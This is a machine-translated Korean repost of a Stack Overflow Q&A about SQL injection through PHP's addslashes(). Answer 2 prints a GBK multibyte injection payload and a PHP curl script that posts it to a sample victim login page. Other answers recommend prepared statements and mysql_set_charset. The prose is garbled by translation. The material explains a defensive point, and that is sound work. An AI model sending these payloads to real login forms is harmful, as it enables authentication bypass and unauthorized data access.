[SQL] addslashes를 통해 SQL 주입의 예 ()?
SQLaddslashes를 통해 SQL 주입의 예 ()?
PHP에서, 그 mysql_real_escape이 addslashes를 사용하는 것보다 훨씬 안전 알고있다. 그러나, 나는 addslashes는 SQL 주입이 일어날 수 있도록 할 상황의 예를 찾을 수 없습니다.
사람이 몇 가지 예제를 줄 수 있습니까?
해결법
-
==============================
1.음, 여기 당신이 원하는 기사입니다.
음, 여기 당신이 원하는 기사입니다.
기본적으로, 공격이 작동하는 방식이 addslashes을 얻는 것입니다 () 백 슬래시가 유효한 멀티 바이트 시퀀스의 일원으로 그 의미를 상실하도록 멀티 바이트 문자의 중간에 백 슬래시를 넣어.
기사에서 일반적인주의 :
-
==============================
2.크리스 시프 렛은 명확하게 울부 짖는 소리의 예를 사용하여 데이터베이스에 GBK 인코딩을 사용하는 경우 당신이 그것을 시도하는 경우에 그 뜻의 코스 작업을 설명합니다. 심지어 나는 그들이 매우 적은에도 불구하고,이 입증, SQL 주입을위한 기회가 그것을 시도하지만, 좋은 지식과 능력을 가진 사람이 쉽게 주사한다. 다음은 그 예이다 ..
크리스 시프 렛은 명확하게 울부 짖는 소리의 예를 사용하여 데이터베이스에 GBK 인코딩을 사용하는 경우 당신이 그것을 시도하는 경우에 그 뜻의 코스 작업을 설명합니다. 심지어 나는 그들이 매우 적은에도 불구하고,이 입증, SQL 주입을위한 기회가 그것을 시도하지만, 좋은 지식과 능력을 가진 사람이 쉽게 주사한다. 다음은 그 예이다 ..
<?php $mysql = array(); $db = mysqli_init(); $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */ $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; $_POST['password'] = 'guess'; $mysql['username'] = addslashes($_POST['username']); $mysql['password'] = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '{$mysql['username']}' AND password = '{$mysql['password']}'"; $result = $db->query($sql); if ($result->num_rows) { /* Success */ } else { /* Failure */ } ?>
비록 addslashes의 사용 () 또는 magic_quotes_gpc의는 일반적으로 다소 안전한 것으로 간주 될 것이다, GBK의 사용은 쓸모 근처를 렌더링 것입니다. 다음 PHP 컬 스크립트 내가이 이해하는 것이 좀 더 도움이 될 것입니다 희망, 주입의 사용을 할 수있을 것입니다 :
<?php $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?>
-
==============================
3.여기 답변의 독자에 대한 추가로이 MySQL의 버그는 이미 수정되었습니다 :)
여기 답변의 독자에 대한 추가로이 MySQL의 버그는 이미 수정되었습니다 :)
또한, 준비된 문을 사용하는 것이 좋습니다 항상입니다. 그것은 당신이 (몇 가지 사용 사례 가장 확대됨과) 쿼리를 발사 할 수있는 가장 악용없는 방법입니다. 그리고이 결함에서 당신을 저장 한 것입니다.
-
==============================
4.() 분명히 mysql_real_escape_string를 설명합니다 문 준비 대 () mysql_real_escape_string를하는 것은 100 % 안전합니다.
() 분명히 mysql_real_escape_string를 설명합니다 문 준비 대 () mysql_real_escape_string를하는 것은 100 % 안전합니다.
mysql_set_charset ( 'GBK')를 사용하여는 mysql_query ( "SET 문자 집합 'GBK'을") 교체하십시오는 mysql_real_escape_string ()는 100 % 확보 할 수있다.
from https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes by cc-by-sa and MIT license
'SQL' 카테고리의 다른 글
[SQL] MySQL의에서 GROUP_CONCAT 유사한 오라클의 모든 기능이 있습니까? [복제] (0) | 2020.03.17 |
---|---|
[SQL] SQL 서버 하위 쿼리는 1 개 이상의 값을 반환했습니다. 이 허용되지 않는 서브 쿼리가 다음에 올 때 =,! =, <, <=,>,> = (0) | 2020.03.17 |
[SQL] 열은 다른 열에서 계산? (0) | 2020.03.17 |
[SQL] Reporting Services의 단일 매개 변수에 대해 여러 값을 전달 (0) | 2020.03.17 |
[SQL] LISTAGG 기능 : "문자열 연결의 결과가 너무 깁니다" (0) | 2020.03.17 |